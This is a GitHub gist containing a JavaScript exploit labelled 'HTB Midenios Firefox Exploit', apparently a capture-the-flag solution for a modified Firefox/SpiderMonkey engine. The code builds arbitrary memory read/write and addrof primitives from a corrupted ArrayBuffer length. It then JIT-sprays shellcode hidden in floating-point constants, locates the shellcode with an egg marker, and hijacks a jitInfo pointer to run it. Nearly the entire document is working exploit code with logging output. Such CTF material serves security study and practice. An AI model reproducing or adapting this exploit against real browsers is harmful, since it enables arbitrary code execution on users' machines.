-
-
Save xct/f339058bcb946fb8efd6df00cfb81a0d to your computer and use it in GitHub Desktop.
HTB Midenios Firefox Exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
HTB Midenios Exploit | |
Author: @xct_de | |
References: | |
- https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/ | |
- https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#force-the-jit-of-arbitrary-gadgets-bring-your-own-gadgets | |
- https://0xten.gitbook.io/public/hackthebox/business-ctf/2022/midenios | |
*/ | |
// create an ArrayBuffer A and set its length to a large value | |
aBuf = new ArrayBuffer(80); | |
aBuf.byteLength = 1000; | |
aBuf = new BigUint64Array(aBuf) | |
// create a second ArrayBuffer B to have an adjacent object | |
bBuf = new ArrayBuffer(80); | |
bBufTyped = new BigUint64Array(bBuf) | |
function read64(addr){ | |
// overwrite metadata, pointer to data | |
aBuf[15] = addr | |
let typedB = new BigUint64Array(bBuf) | |
return typedB[0] | |
} | |
function write64(addr, value){ | |
// overwrite metadata, pointer to data | |
aBuf[15] = addr | |
// access B as a TypedArray to get a 64 bit value back | |
let typedB = new BigUint64Array(bBuf) | |
// set first element (exactly where the changed data pointer points to) | |
typedB[0] = value | |
} | |
function addrof(obj){ | |
// Set a new property on the ArrayBuffer, its pointer will be pointed to by the slots pointer (offset 13) | |
bBuf.leak = obj | |
// read the slots pointer back | |
_slots = aBuf[13] | |
// dereference the slots pointer and return it (while masking off any pointer tagging) | |
return read64(_slots) & 0xffffffffffffn | |
} | |
function shellcode (){ | |
EGG = 5.40900888e-315; // 0x41414141 in memory, marker to find | |
C01 = -6.828527034422786e-229; // 0x9090909090909090 | |
C02 = 6.867659397734779e+246 | |
C03 = 7.806615353364766e+184 | |
C04 = 3.126683868841535e+62 | |
C05 = 3.2060568060029287e-80 | |
C06 = 4.3639296124295675e+169 | |
C07 = 5.08101013116399e+233 | |
C08 = 2.4161938523951585e+233 | |
C09 = 6.975727969197256e+228 | |
C10 = 6.521730203412747e-38 | |
C11 = 2.4320661763226735e-152 | |
C12 = 1.7058643057456533e+272 | |
C13 = 3.567935133035353e-57 | |
C14 = 1.8524372139063032e+106 | |
C15 = 2.634860473837555e-284 | |
} | |
// JIT Spray - will make sure the constants are compiled to native code and create our shellcode | |
for (let i = 0; i < 100000; i++) { | |
shellcode(); | |
} | |
shellcode_addr = addrof(shellcode); | |
while(shellcode_addr == addrof(shellcode)){ | |
// just block until we get the updated addr | |
} | |
shellcode_addr = addrof(shellcode); | |
console.log("[>] Function @ " + shellcode_addr.toString(16)); | |
// Get the jetInfo pointer in the JSFunction object (JSFunction.u.native.extra.jitInfo_) | |
jitinfo = read64(shellcode_addr + 0x28n); | |
console.log("[>] Jitinfo @ " + jitinfo.toString(16)); | |
// Dereference pointer to get RX Region | |
rx_region = read64(jitinfo & 0xffffffffffffn); | |
console.log("[>] Jit RX @ " + rx_region.toString(16)); | |
// Iterate to find magic value (since the shellcode is not at the start of the rx_region) | |
it = rx_region; // Start from the RX region | |
found = false | |
for(i = 0; i < 0x800; i++) { | |
data = read64(it); | |
if(data == 0x41414141n) { | |
it = it + 8n; // 8 byte offset to account for magic value | |
found = true; | |
break; | |
} | |
it = it + 8n; | |
} | |
if(!found) { | |
console.log("[-] Failed to find Jitted shellcode in memory"); | |
} | |
shellcode_location = it; | |
console.log("[>] Shellcode @ " + shellcode_location.toString(16)); | |
// Overwrite jitInfo pointer and execute modified function | |
write64(jitinfo, shellcode_location); | |
shellcode(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment